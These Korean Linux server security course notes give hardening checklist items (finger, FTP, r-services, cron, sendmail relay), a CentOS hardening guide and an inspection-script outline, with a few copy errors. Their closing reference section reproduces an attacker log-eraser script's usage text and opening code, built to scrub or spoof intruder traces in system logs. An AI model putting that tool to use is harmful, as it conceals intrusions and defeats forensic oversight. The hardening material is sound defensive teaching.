20160727 리눅스 서버보안
3. 서비스 관리
3.1 finger 서비스 비활성화
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: finger 서비스 비활성화 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-36
(1) 취약점 개요 *Finger(사용자정보 확인 서비스)를 통해서 네트워크 외부에서 해당 시스템에 등록된 사용자 정보를 확인할 수 있으므로, 사용하지 않는다면 해당 서비스를 중지하여야 함. *Finger(사용자정보 확인 서비스): who 명령어가 현재 사용 중인 사용자들에 대한 간단한 정보만을 보여주는 데 반해 finger 명령은 옵션에 따른 시스템에 등록된 사용자뿐만 아니라 네트워크를 통하여 연결되어 있는 다른 시스템에 등록된 사용자들에 대한 자세한 정보를 보여줌.
(2) 판단기준 양호: Finger 서비스가 비활성화 되어 있는 경우 취약: Finger 서비스가 활성화 되어 있는 경우
(3) 조치방법 Finger 서비스 비활성화
(4) 보안 설정 방법 ■ 점검 방법 #ls -alL /etc/xinetd.d/* | egrep "finger" 제시된 파일 내 “finger” 서비스가 활성화된 경우 아래의 보안설정방법에 따라 서비스 중지
■ 설정 방법 #chkconfig finger off (# vi /etc/xinetd.d/finger (disable = yes)) #service xinetd restart
(5) 조치시 영향 일반적으로 영향 없음 |
3.2 Anonymous FTP 비활성화
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: anonymous 서비스 비활성화 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-37
(1) 취약점 개요 *Anonymous FTP(익명 FTP)를 사용할 경우 악의적인 사용자가 시스템에 관한 정보를 획득할 수 있으며 디렉터리에 쓰기 권한이 설정되어 있을 경우 local exploit을 사용하여 다양한 공격이 가능하게 되므로 반드시 필요한 사용자만 접속 할 수 있도록 설정하여 권한 없는 사용자의 FTP 사용을 제한하여야 함. *Anonymous FTP(익명 FTP): 파일 전송을 위해서는 원칙적으로 상대방 컴퓨터를 사용할 수 있는 계정이 필요하나 누구든지 계정 없이도 anonymous 또는, ftp라는 로그인 명과 임의의 비밀번호를 사용하여 FTP를 실행할 수 있음.
(2) 판단기준 양호: Anonymous FTP (익명 ftp) 접속을 차단한 경우 취약: Anonymous FTP (익명 ftp) 접속을 차단하지 않은 경우
(3) 조치방법 Finger 서비스 비활성화
(4) 보안 설정 방법 ■ 점검 방법 /etc/passwd 파일에 ftp 계정 존재 여부 확인 #cat /etc/passwd | grep "ftp"
■ 설정 방법 1. 일반 FTP - Anonymous FTP 접속 제한 설정 방법 “/etc/passwd” 파일에서 ftp 또는, anonymous 계정 삭제 # userdel ftp 2. ProFTP - Anonymous FTP 접속 제한 설정 방법 “/etc/passwd” 파일에서 ftp 계정 삭제 #userdel ftp 3. vsFTP - Anonymous FTP 접속 제한 설정 방법 vsFTP 설정파일(“/etc/vsftpd/vsftpd.conf” 또는, “/etc/vsftpd.conf”)에서 anonymous_enable=NO 설정
(5) 조치시 영향 Anonymous FTP를 사용하지 않을 경우 영향 없음 |
3.3 r 계열 서비스 비활성화
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: r 계열 서비스 비활성화 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-38
(1) 취약점 개요 *‘r’command *NET Backup이나 다른 용도로 사용되기도 하나 보안상 매우 취약하여 서비스 포트가 열려있는 경우 중요 정보 유출 및 시스템 , 장애 발생 등 침해사고의 위험이 있음. *‘r’command: 인증 없이 관리자의 원격접속을 가능하게 하는 명령어들로 rsh(remsh), rlogin,rexec 등이 있음. *NET Backup: 이기종 운영체제간 백업을 지원하는 시멘틱사의 백업 및 복구 툴을 말함
(2) 판단기준 양호: r 계열 서비스가 비활성화 되어 있는 경우 취약: r 계열 서비스가 활성화 되어 있는 경우
(3) 조치방법 NET Backup등 특별한 용도로 사용하지 않는다면 아래의 서비스 중지 - shell(514), login(513), exec(512)
(4) 보안 설정 방법 ■ 점검 방법 rsh, rlogin, rexec (shell, login, exec) 서비스 구동 확인 #ls -alL /etc/xinetd.d/* | egrep “rsh|rlogin|rexec” | egrep -v "grep|klogin|kshell|kexec"
■ 설정 방법 # chkconfig rlogin off (# vi /etc/xinetd.d/rlogin(disable = yes)) # chkconfig rsh off (# vi /etc/xinetd.d/rsh(disable = yes)) # chkconfig rexec off (# vi /etc/xinetd.d/rexec(disable = yes)) # service xinetd restart
(5) 조치시 영향 rlogin, rshell, rexec 서비스는 backup 등의 용도로 종종 사용되며 /etc/hosts.equiv 또는, 각 홈 디렉터리 밑에 있는 .rhosts 파일에 설정 유무를 확인하여 해당 파일이 존재하지 않거나 해당 파일 내에 설정이 없다면 사용하지 않는 것으로 파악 |
r CMD(rlogin, rsh, rcp) - /etc/host.equiv, ~/.rhosts
s CMD(ssh, sftp, scp)
3.4 cron 파일 소유자 및 권한 설정
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: cron 파일 소유자 및 권한 설정 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-39
(1) 취약점 개요 *Cron 시스템은 cron.allow 파일과 cron.deny 파일을 통하여 명령어 사용자를 제한할 수 있으며 보안상 해당 파일에 대한 접근제한이 필요함. 만약 cron 접근제한 파일의 권한이 잘못되어 있을 경우 권한을 획득한 사용자가 악의적인 목적으로 임의의 계정 을 등록하여 불법적인 예약 파일 실행으로 시스템 피해를 일으킬 수 있음. *Cron 시스템: 특정 작업을 정해진 시간에 주기적이고 반복적으로 실행하기 위한 데몬과 그 설 정들을 말함.
(2) 판단기준 양호: cron 접근제어 파일 소유자가 root이고, 권한이 640 이하인 경우 취약: cron 접근제어 파일 소유자가 root가 아니거나, 권한이 640 이하가 아닌 경우
(3) 조치방법 “cron.allow”, “cron.deny” 파일 소유자 및 권한 변경 (소유자 root, 권한 640 이하)
(4) 보안 설정 방법 ■ 점검 방법 # ls -al /etc/cron.allow # ls -al /etc/cron.deny
■ 설정 방법 1. “/etc/cron.allow” 및 “/etc/cron.deny” 파일의 소유자 및 권한 확인 #ls -l /etc/cron.allow #ls -l /etc/cron.deny 2. “/etc/cron.allow” 및 “/etc/cron.deny” 파일의 소유자 및 권한 변경 #chown root /etc/cron.allow #chmod 640 /etc/cron.allow #chown root /etc/cron.deny #chmod 640 /etc/cron.deny
(5) 조치시 영향 일반적인 경우 영향 없음 |
3.5 DoS 공격에 취약한 서비스 비활성화
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: DoS 공격에 취약한 서비스 비활성화 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-40
(1) 취약점 개요 *Dos(서비스 거부 공격)에 취약한 echo, discard, daytime, chargen 서비스는 취약점이 많이 발표된 불필요한 서비스들로 해당 서비스 사용을 중지하여야 함. 만약 해당 서비스가 활성화되어 있는 경우 시스템 정보 유출 및 Dos(서비스 거부 공격)의 대상이 될 수 있음.
*Dos(Denial of Service attack): 시스템을 악의적으로 공격해 해당 시스템의 자원을 부족하게 하여 원래 의도된 용도로 사용하지 못하게 하는 공격임. 특정 서버에게 수많은 접속 시도를 만들 어 다른 이용자가 정상적으로 서비스 이용을 하지 못하게 하거나, 서버의 TCP 연결을 바닥내는 등의 공격이 이 범위에 포함됨.
(2) 판단기준 양호: Dos 공격에 취약한 echo, discard, daytime, chargen 서비스가 비활성화 된 경우 취약: Dos 공격에 취약한 echo, discard, daytime, chargen 서비스 활성화 된 경우
(3) 조치방법 echo, discard, daytime, chargen 서비스 비활성화 설정
(4) 보안 설정 방법 ■ 점검 방법 # ls -al /etc/cron.allow # ls -al /etc/cron.deny
■ 설정 방법 1. vi 편집기를 이용하여 “/etc/xinetd.d/” 디렉터리 내 echo, discard, daytime, chargen 파일을 연 후 2. 아래와 같이 설정 (Disable = yes 설정) * /etc/xinetd.d/echo 파일 * /etc/xinetd.d/discard 파일 * /etc/xinetd.d/daytime 파일 * /etc/xinetd.d/chargen 파일 3. xietd 서비스 재시작 # service xinetd restart
(5) 조치시 영향 일반적으로 사용하지 않는 서비스들임, 따라서 영향 없음. |
(고객에게 설명)
Dos (서비스 거부 공격) 공격에 취약한 echo, discard, daytime ,chargen은 취약점이 많이 때문에 서비스를 비활성화 하는 것이 좋음
echo, discard, daytime, chargen은 DoS(서비스 거부 공격)에 악용될 수 있다.
(스크립트 제작)
# chkconfig --list | sed -n '/xinetd based/,$p'
# chkconfig <서비스> off
# service xinetd restart
# cat check_service_list.txt
-----------------------------
echo-dgram
echo-stream
discard-dgram
discard-stream
......
-----------------------------
# cat check_dos_service.sh
----------------------------
cat check_service_list.txt | while read SERVICE1
do
chkconfig --list $SERVICE1 > /tmp/.tmp1
if grep -w on /tmp/.tmp1 >/dev/null 2>&1 ; then
echo "[ WARN ] : $SERVICE1" >> report.txt
else
echo "[ OK ] : $SERVICE1" >> report.txt
fi
done
.....
----------------------------
3.11 tftp, talk 서비스 비활성화
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: tftp, talk 서비스 비활성화 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-46
(1) 취약점 개요 운영체제는 ftp, tftp, telnet, talk 등의 서비스를 포함하고 있으므로 시스템 운영에 필 요하지 않는 불필요한 서비스를 제거하여 보안성을 높일 수 있고 해당 불필요한 서비 스 취약점 발견으로 인한 피해를 최소화할 수 있음.
(2) 판단기준 양호: tftp, talk, ntalk 서비스가 비활성화 되어 있는 경우 취약: tftp, talk, ntalk 서비스가 활성화 되어 있는 경우
(3) 조치방법 시스템 운영에 불필요한 서비스(tftp, talk, ntalk) 비활성화
(4) 보안 설정 방법 ■ 점검 방법 tftp, talk, ntalk 서비스 활성화 여부 확인(disable = no) #vi /etc/xinetd.d/tftp #vi /etc/xinetd.d/talk #vi /etc/xinetd.d/ntalk
tftp(69)파일 전송을 위한 프로토콜. tftp 프로토콜은 OS에서는 부팅 디스켓이 없는 워크스테이션이나 네트워크 인식 프린터를 위한 설정파일의 다운로드, 설치 프로세스의 시작을 위해 사용 talk(517)사용자가 시스템에 원격으로 연결하여 다른 시스템에 로그인하고 있는 사용자와 대화 세션을 시작할 수 있음 ntalk(518)서로 다른 시스템 간에 채팅을 가능하게 하는 서비스
■ 설정 방법 1. vi 편집기를 이용하여 “/etc/xinetd.d/” 디렉터리 내 tftp, talk, ntalk 파일을 연 후 2. 아래와 같이 설정 (Disable = yes 설정) 3. xinetd 서비스 재시작 #service xinetd restart
(5) 조치시 영향 일반적으로 영향 없음 |
3.12 sendmail 버전 점검
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: sendmail 버전 점검 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-47
(1) 취약점 개요 Sendmail은 널리 쓰이는 만큼 많은 취약점이 알려져 있어 공격에 목표가 되기 쉬우므로 서버에서 Sendmail을 사용하는 목적을 검토하여 사용할 필요가 없는 경우, 서비스를 제거하는 것이 바람직함. 만일 운영할 필요가 있다면 취약점이 없는 Sendmail 버전을 유지하고 취약점에 대한 패치가 발표되었을 시 빠른 시기에 이를 적용하도록 함. 그렇지 않을 경우 버퍼 오버플로우(Buffer Overflow)의 공격에 의한 시스템 권한 획득 및 주요 정보 유출 가능성이 있음.
(2) 판단기준 양호: Sendmail 버전이 8.13.8 이상인 경우 취약: Sendmail 버전이 8.13.8 이상이 아닌 경우
(3) 조치방법 Sendmail 서비스를 사용하지 않을 경우 서비스 중지, 재부팅 후 다시 시작하지 않도록 시작 스크립트 변경, 사용할 경우 패치 관리 정책을 수립하여 주기적으로 패치 적용 ※ Sendmail 서비스의 경우 8.13.8 이하 대부분의 버전에서 취약점이 보고되고 있기 때문에 O/S 관리자, 서비스 개발자가 패치 적용에 따른 서비스 영향 정도를 정확히 파악하고 주기적인 패치 적용 정책을 수립하여 적용함
(4) 보안 설정 방법 ■ 점검 방법 1. Sendmail 서비스 실행 여부 점검 #ps –f | grep sendmail 2. Sendmail 버전 점검 #telnet localhost 25
■ 설정 방법 Sendmail 서비스 실행 여부 및 버전 점검 후, http://www.sendmail.org/ 또는, 각 OS 벤더사의 보안 패치 설치
(5) 조치시 영향 패치를 적용할 경우 시스템 및 서비스의 영향 정도를 충분히 고려하여야 함 |
3.13 스팸 메일 릴레이 제한
■ 점검 분류 항목: 서비스 관리 ■ 세부 점검 항목: sendmail 버전 점검 ■ 대상: 리눅스 ■ 위험도: 상 ■ 관련 코드: U-48
(1) 취약점 개요 *SMTP(Simple Mail Transfer Protocol) 서버의 릴레이 기능을 제한하지 않을 경우 스팸 메일 서버로 악용되거나, 서버의 부하가 증가할 수 있음. 따라서 인증된 사용자에 게 메일을 보낼 수 있도록 설정하거나 불필요 시 SMTP 서비스를 중지하여야 함. *SMTP(Simple Mail Transfer Protocol) 서버: 인터넷상에서 전자우편(E-mail)을 전송할 때 이용하게 되는 표준 통신 규약을 SMTP라고 하며, SMTP에 의해 전자 메일을 발신하는 서버(server)를 SMTP 서버라고 함.
(2) 판단기준 양호: SMTP 서비스를 사용하지 않거나 릴레이 제한이 설정되어 있는 경우 취약: SMTP 서비스를 사용하며 릴레이 제한이 설정되어 있지 않은 경우
(3) 조치방법 Sendmail 서비스를 사용하지 않을 경우 서비스 중지 사용할 경우 릴레이 방지 설정 또는, 릴레이 대상 접근 제어
(4) 보안 설정 방법 ■ 점검 방법 SMTP 서비스 사용 여부 및 릴레이 제한 옵션 확인 #ps -ef | grep sendmail | grep -v "grep" #cat /etc/mail/sendmail.cf | grep "R$ \*" | grep "Relaying denied" R$* $#error $@ 5.7.1 $: "550 Relaying denied"
■ 설정 방법 1. vi 편집기를 이용하여 sendmail.cf 설정파일을 연 후 2. 아래와 같이 주석 제거 (수정 전) #R$* $#error $@ 5.7.1 $: "550 Relaying denied" (수정 후) R$* $#error $@ 5.7.1 $: "550 Relaying denied" 3. 특정 IP, domain, Email Address 및 네트워크에 대한 sendmail 접근 제한 확인 #cat /etc/mail/access
(5) 조치시 영향 릴레이를 허용할 대상에 대한 정보를 입력한다면 영향 없음 |
Linux Security Step by Step Guide
(주의) 다음 내용은 CentOS 6.4를 기준으로 만들어졌습니다.
보안 제어(Security Controls)
physical controls(물리적인 보안)
techinical controls(기술적인 보안)
administrative controls(관리적인 보안)
물리적인 보안 제어(Physical controls)
Closed-circuit surveillance cameras
Motion or thermal alarm systems
Security guards
Picture IDs
Locked and dead-bolted steel doors
Biometrics (includes fingerprint, voice, face, iris, handwriting, and other automated methods used to
recognize individuals
기술적인 보안 제어(Technical Controls)
Encryption
Smart cards
Network authentication
Access control lists (ACLs)
File integrity auditing software
관리적인 보안 제어(Administrative Controls)
Training and awareness
Disaster preparedness and recovery plans
Personnel recruitment and separation strategies
Personnel registration and accounting
일반적인 공격(Common Exploits)
Null or Default Passwords
Default Shared Keys
Spoofing
Sniffing
Service Vulnerabilities
Application Vulnerabilities
Denial of Service(DoS) Attacks, DDoS
다음 점검 사항을 나눌때 다음과 같이 나누었습니다.
(필요)
(권장)
(정보)
■ 설치할때의 고려사항
파티션 나누기(/boot, /, /home, /tmp)
운영체제 설치시 최소 설치
운영체제 설치 후 반드시 운영체제 업데이트 작업# yum -y update
■ 환경 설정 파일
관리자에 맞는 적당한 환경 설정파일을 설정한다.# vi ~/.bashrc
■ 운영체제 전체 업데이트
yum update(커널업데이트 + 소프트웨어 업데이트)
[실습] 운영체제 버전 업데이트 하기
debian) # apt-get update
# apt-get upgrade
redhat) # yum check-update
# yum -y update
# cat /etc/redhat-release
CentOS release 5.9 (Final) |
# uname -a
Linux linux200.example.com 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013 i686 athlon i386 GNU/Linux |
# yum check-update (# yum check-update | tee -a check-update.log)
..... (중략) ..... xalan-j2.i386 2.7.0-6jpp.2 base xinetd.i386 2:2.3.14-20.el5_10 base xorg-x11-drv-ati.i386 6.6.3-3.35.el5 base xorg-x11-server-Xnest.i386 1.1.1-48.107.el5.centos updates xorg-x11-server-Xorg.i386 1.1.1-48.107.el5.centos updates xulrunner.i386 17.0.10-1.el5_10 base yelp.i386 2.16.0-30.el5_9 base yum-updatesd.noarch 1:0.9-6.el5_10 base Obsoleting Packages firefox.i386 38.0-4.el5.centos updates firefox.i386 10.0.11-1.el5.centos installed |
# yum -y update
..... (중략) ..... ============================================================================================================================= Package Arch Version Repository Size ============================================================================================================================= Installing: firefox x86_64 31.1.0-5.el6.centos updates 60 M replacing firefox.x86_64 10.0.12-1.el6.centos kernel x86_64 2.6.32-431.29.2.el6 updates 28 M Updating: ModemManager x86_64 0.4.0-5.git20100628.el6 base 177 k NetworkManager x86_64 1:0.8.1-66.el6 base 1.1 M NetworkManager-glib x86_64 1:0.8.1-66.el6 base 230 k NetworkManager-gnome x86_64 1:0.8.1-66.el6 base 463 k abrt x86_64 2.0.8-21.el6.centos base 208 k ..... (중략) ..... |
# reboot
-> 재부팅 이후에 root 사용자로 로그인
# cat /etc/redhat-release
# uname -a
■ BIOS/Boot loader 암호 걸기
BIOS 암호 걸기
GRUB 암호 걸기
/sbin/grub-md5-crypt 명령어 사용
/boot/grub/grub.conf 파일에 정의
password --md5 <password-hash> |
[실습] GRUB 암호 걸기
# grub-md5-crypt
Password: (soldesk1.) Retype password: (soldesk1.) $1$dak0y1$vqHXNF62gywmzuctB8ieH0 |
# vi /boot/grub/grub.conf
#boot=/dev/sda default=0 timeout=5 splashimage=(hd0,0)/grub/splash.xpm.gz hiddenmenu password --md5 $1$dak0y1$vqHXNF62gywmzuctB8ieH0 title CentOS (2.6.32-358.el6.x86_64) root (hd0,0) kernel /vmlinuz-2.6.32-358.el6.x86_64 ro root=/dev/mapper/vg_snort-lv_root rd_NO_LUKS LANG=ko_KR.UTF-8 rd_LVM_LV=vg_snort/lv_root rd_NO_MD crashkernel=auto KEYBOARDTYPE=pc KEYTABLE=us rd_LVM_LV=vg_snort/lv_swap rd_NO_DM rhgb quiet initrd /initramfs-2.6.32-358.el6.x86_64.img |
■ 배너 메세지 변경
/etc/issue
/etc/issue.net
[실습] /etc/issue, /etc/issue.net 파일 변경
# vi /etc/issue
[수정전] CentOS release 6.4 (Final) Kernel \r on an \m [수정후] This is a test site. |
-> 또는 다른 내용(EX: 사이트에 대한 소개)
# cp /etc/issue /etc/issue.net
[수정전] CentOS release 6.4 (Final) Kernel \r on an \m [수정후] This is a test site. |
-> 또는 다른 내용(EX: 사이트에 대한 소개)
■ 사용자 암호 관리
root 사용자 암호 설정
대문자/소문자 + 숫자 + 특수문자 + 공백 + 패스워드 길이 9글자 이상
일반사용자 설정
/etc/pam.d/password-auth
password required pam_cracklib.so retry=3 minlen=8 minclass=4 |
-> minimum length of 8 characters
-> including all four classes of characters
[실습] 관리자 암호 변경(복잡한 암호 사용)
# passwd
root 사용자의 비밀 번호 변경 중 새 암호: (h4ll0 w0r1d!) 잘못된 암호: 사전에 있는 단어를 기반으로 합니다 새 암호 재입력: (h4ll0 w0r1d!) passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다. |
[실습] 일반 사용자 설정(복잡성을 추가하여 설정)
# vi /etc/pam.d/password-auth
#%PAM-1.0 # This file is auto-generated. # User changes will be destroyed the next time authconfig is run. auth required pam_env.so auth sufficient pam_unix.so nullok try_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet auth required pam_deny.so
account required pam_unix.so account sufficient pam_localuser.so account sufficient pam_succeed_if.so uid < 500 quiet account required pam_permit.so
[수정전] password requisite pam_cracklib.so try_first_pass retry=3 type= [수정후] password required pam_cracklib.so retry=3 minlen=8 minclass=4
password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok password required pam_deny.so
session optional pam_keyinit.so revoke session required pam_limits.so session [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid session required pam_unix.so |
■ 사용자 프로세스 제한
/etc/security/limits.d/90-nproc.conf
* soft nproc 50 |
[실습] 사용자가 띄울수 있는 프로세스의 총 개수 제한
# vi /etc/security/limits.d/90-nproc.conf
[수정전] * soft nproc 1024 [수정후] * soft nproc 50
root soft nproc unlimited |
■ root 사용자 로그인 제한
root 사용자로 로그인할 때 사용하는 디바이스 없음,
# echo > /etc/securetty
SSH root 사용자 로그인 제한
/etc/ssh/sshd_config
PermitRootLogin no |
[실습] SSH로 root 사용자 로그인 막기
# vi /etc/ssh/sshd_config
[수정전] #PermitRootLogin yes [수정후] PermitRootLogin no |
■ 화면 잠금 설정
(GUI 환경을 사용하는 경우)
screensaver
[실습] 화면 보호기 설정 변경하기
시스템 > 화면 보호기 > 적당한 설정으로 변경
■ 취약점 점검 툴 사용
nessus
nikto
http://www.nessus.org (http://www.tenable.com/products/nessus)
https://github.com/sullo/nikto (https://www.cirt.net/Nikto2)
[실습] 프로그램을 설치하여 테스트 해 본다.
■ 불필요한 서비스 disable
# chkconfig --list
# chkconfig <service> off
# service <service> stop
■ 방화벽 설정
iptables
tcp_wrappers(/etc/hosts.allow, /etc/hosts.deny)
내부 네트워크 대역(LAN)과 외부 네트워크 대역 제어(WAN)
-> (EX) 내부에서만 관리자로 접속할 수 있도록 설정, 외부에서는 안되도록 설정
■ SELinux 설정
# vi /etc/sysconfig/selinux
-> enforcing 권장
■ 운영체제 커널 패러미터 설정(sysctl CMD, /etc/sysctl.conf)
The accept_source_route option causes network interfaces to accept packets with the Strict Source Route (SSR) or Loose Source Routing (LSR) option set. The acceptance of source routed packets is controlled by sysctl settings# /sbin/sysctl -w net.ipv4.conf.all.accept_source_route=0
These commands disable forwarding of IPv4 and IPv6 packets on all interfaces# sysctl -w net.ipv4.conf.all.forwarding=0# sysctl -w net.ipv6.conf.all.forwarding=0
These commands disable forwarding of all multicast packets on all interfaces# sysctl -w net.ipv4.conf.all.mc_forwarding=0# sysctl -w net.ipv6.conf.all.mc_forwarding=0
(권장) Accepting ICMP redirects has few legitimate uses. Disable the acceptance and sending of ICMP redirected packets unless specifically required.These commands disable acceptance of all ICMP redirected packets on all interfaces# sysctl -w net.ipv4.conf.all.accept_redirects=0# sysctl -w net.ipv6.conf.all.accept_redirects=0This command disables acceptance of secure ICMP redirected packets on all interfaces# sysctl -w net.ipv4.conf.all.secure_redirects=0This command disables acceptance of all IPv4 ICMP redirected packets on all interfaces# sysctl -w net.ipv4.conf.all.send_redirects=0
■ VPN(Virtual Private Networks)
openswan(IPSec)
# yum install openswan
-> 설치를 고려한다.
■ Encryption
File Level Encryption
-> LUKS
-> 운영체제 설치시 암호화 할것인지 설치 이후에 파티션을 암호화 할 것인지 결정
예) LUKS를 이용한 파티션 암호화
■ audit 기능 활성화
# yum install audit
/etc/audit/auditd.conf 파일 설정 및 확인
-> 반드시 로그 파일 관리를 같이 신경써야 한다.
■ 참고 가이드
Operating Systems - Unix/Linux (Red Hat) - Step by Step Guide
http://iase.disa.mil/stigs/os/unix-linux/Pages/red-hat.aspx
-> 다양한 플랫폼에 대한 Step by Step Guide를 제공하고 있다.
-> Solaris, AIX, HP-UX, Oracle Linux, Redhat etc
[실무 예] 실무 점검 스크립트
* 회사내에서 제공하는 스크립트
* 전문 스캐너
* 개별적인 점검
* 결과 보고서
[실습] 리눅스 서버 점검 스크립트 제작
상단: 시스템에 대한 정보- OS 버전(커널 버전 & 릴리즈), - 네트워크 정보- CPU/MEM 정보- 디스크 정보
중간: 점검 목록- 10가지 종목에 대한 테스트
마지막: 결론
report.txt
----------------------------------------------
리눅스 서버 보안 점검 레포트
점검일: 2015.01.12.
점검자: 홍길동
점검서버: CentOS 5.10
==============================
Section 1. Server Information
==============================
운영체제 정보(/etc/redhat-release, uname -a)
CPU 정보(/proc/cpuinfo)
MEM 정보(free, top -n 1)
DISK 정보(fdisk -l)
네트워크 정보(ifconfig -a)
=============================
Section 2. Server Check List
=============================
(1) root 사용자의 원격 로그인 설정 점검(/etc/securetty)
(2) 암호 정책에 대한 설정 확인(/etc/pam.d/passwd, /etc/login.defs, ...)
......
=============================
Section 3. etc
=============================
(1) 결과 파일들에 대한 퍼미션 설정
(2) 임시 파일들 삭제
......
----------------------------------------------
[참고] 리눅스 로그 지우기 프로젝트(EX: www.garage4hackers.com)
■ Linux Log Eraser (EX: linux_log_eraser.sh)
Linux Log Eraser ================ Linux Log Eraser is a bash script which erases almost all your logs from the log files on a Linux Server. This can be useful for an attacker to wipe out the traces before logging out of the compromised Server. Usage ===== ./linux_log_eraser.sh options OPTIONS: -h help Show this message -i info Show basic system info -d <ip_address> Delete the IP_Address from log files -s <spoof_ip_address> Spoof the IP following -d with the one following -s -u <user_name> The user name you are logged in as -w <web_shell_path> The web back door (e.g. c99) shell absolute path you wish to erase from logs -f fuck logs To delete all log files Ex: ./linux_log_eraser.sh -h To show above message Ex: ./linux_log_eraser.sh -i To show basic system info Ex: ./linux_log_eraser.sh -d 192.168.1.7 -s 10.1.1.7 -u "cracker" Ex: ./linux_log_eraser.sh -d 192.168.1.7 -s 10.1.1.7 -w "/var/www/xyz.com/uploads/shell.php" -u "cracker" Ex: ./linux_log_eraser.sh -f (No other combination is suggested and allowed to work) Author ====== b0nd, b0nd.g4h@gmail.com and www.garage4hackers.com Logic: Some log files are Ascii types, hence can be read and edited easily. Rest log files are binary types and are hard to read and edit directly. For ascii files, all the lines in various log files containing either of the following would be deleted: 1. The IP following -d parameter 2. User name following -u parameter (if it is other than root). Since the user 'root' has many entries, so to remain stealty it's better not to delete such lines. 3. Web shell path of your backdoor following -w parameter. For binary files, all the entries for your IP and user name (if it is other than root) would be spoofed (not deleted) IP would be spoofed to the Spoof IP provided and user name would be spoofed to "root" Pass the following to script: 1. The IP which you wish to delete/spoof in log files 2. The spoof IP. This would be the IP to replace the IP in binary log files 3. The user name you wish to delete/spoof in log files 4. Absolute web shell path to erase it's entries from log files (e.g. the web back doors) For spoofing in binary files, better analyze the files first manually and choose a good IP and user name You can do the following for binary file analysis: For wtmp: #last (shows: username, terminal, IP) #strings /var/log/wtmp (shows: username, terminal, IP) For utmp: #who (shows: username, terminal, IP) #strings /var/run/utmp (shows: username, terminal, IP) For lastlog: #lastlog (shows: username, terminal, IP) #strings /var/log/lastlog (shows: terminal, IP) For btmp (if exists): #lastb (shows: username) #strings /var/log/btmp (shows: username) Correct me if the logic is wrong at any place except for "/var/log/lastlog"
#! /bin/bash # June 2011 clear # Scroll to the end of code to see the progrom flow ####################### # Declaration of two arrays containing the absolute path of log files. Add in more path per your requirements # Since declared outside any function, they are global # declare -r makes our array read-only and could not be altered anywhere in the code following the declaration ####################### # Those logs files which keep entries for IP address, web path accessed etc. Basically the ASCII log files. declare -r ascii_log_files=( '/var/log/syslog' '/var/log/messages' '/var/log/httpd/access_log' '/var/log/httpd/error_log' '/var/log/xferlog' '/var/log/secure' '/var/log/auth.log' # You can enter more log files here ) # Those logs files which keep user activity logs declare -r binary_log_files=( '/var/log/wtmp' '/var/log/lastlog' '/var/log/btmp' '/var/run/utmp' # You can enter more log files here ) # The following arrays would only store the names of the log files found on system # Not making them read-only as they have to be edited later to add in the existing log file names found_ascii_log_files=() found_binary_log_files=() rtr="" # A global variable needed to get array back as a return value from "check_time_stamping" function flag=0 # A global variable to determine whether the back door path has to be deleted or not spoof_user="root" # All the entries for the "user name" fetched to script would be replaced by string "root" in binary files default_banner () { cat << EOF ############################################################################
Linux Machine Log-Eraser Script Ver 0.2 - Second Release
Greetz to: (www.garage4hackers.com) GGGGGG\ GG __GG\ GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\ GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\ GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee | GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____| \GGGGGG |\aaaaaaa |rr | \aaaaaaa |\ggggggg |\eeeeeee\ \______/ \_______|\__| \_______| \____gg | \_______| gg\ gg | gggggg | \______/
Usage: $0 [options] -h help ############################################################################ EOF exit 1 }help_banner () {cat << EOF GGGGGG\ GG __GG\ GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\ GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\ GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee | GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____| \GGGGGG |\aaaaaaa |rr | \aaaaaaa |\ggggggg |\eeeeeee\ \______/ \_______|\__| \_______| \____gg | \_______| gg\ gg | \gggggg | \______/ Usage ===== ./linux_log_eraser.sh options OPTIONS: -h help Show this message -i info Show basic system info -d [ip_address] Delete the IP_Address from log files -s [spoof_ip_address] Spoof the IP following -d with the one following -s -u [user_name] The user name whose logs are to be erased/spoofed -w [web_shell_path] The web back door (e.g. c99) shell absolute path you wish to erase from logs -f fuck logs files To erase all log files completely, not recommended though Ex: ./linux_log_eraser.sh -h To show this message Ex: ./linux_log_eraser.sh -i To show basic system info Ex: ./linux_log_eraser.sh -d 192.168.1.7 -s 10.1.1.7 -u "cracker" Ex: ./linux_log_eraser.sh -d 192.168.1.7 -s 10.1.1.7 -u "cracker" -w "/var/www/xyz.com/uploads/c99.php" Ex: ./linux_log_eraser.sh -f Author ====== b0nd, b0nd.g4h@gmail.com and www.garage4hackers.com EOF exit 1 }# Checking and storing the log files found on system existing_log_files () { for i in ${ascii_log_files[@]} # Accessing all the array entries declared at the top do if [ -f $i ]; then # echo -e "\t\t$i" found_ascii_log_files[ $j ]=$i # fetching the found log files to our empty array j=$[$j + 1] fi done for i in ${binary_log_files[@]} # Accessing all the array entries declared at the top do if [ -f $i ]; then # echo -e "\t\t$i" found_binary_log_files[ $j ]=$i # fetching the found log files to our empty array j=$[$j + 1] fi done }# Basic System Information system_info () { echo -e "\n>>>>>>>>>>>>> System Info <<<<<<<<<<<< \n" echo -e "[*] Linux Kernel: `uname -a`" echo -e "\n[*] 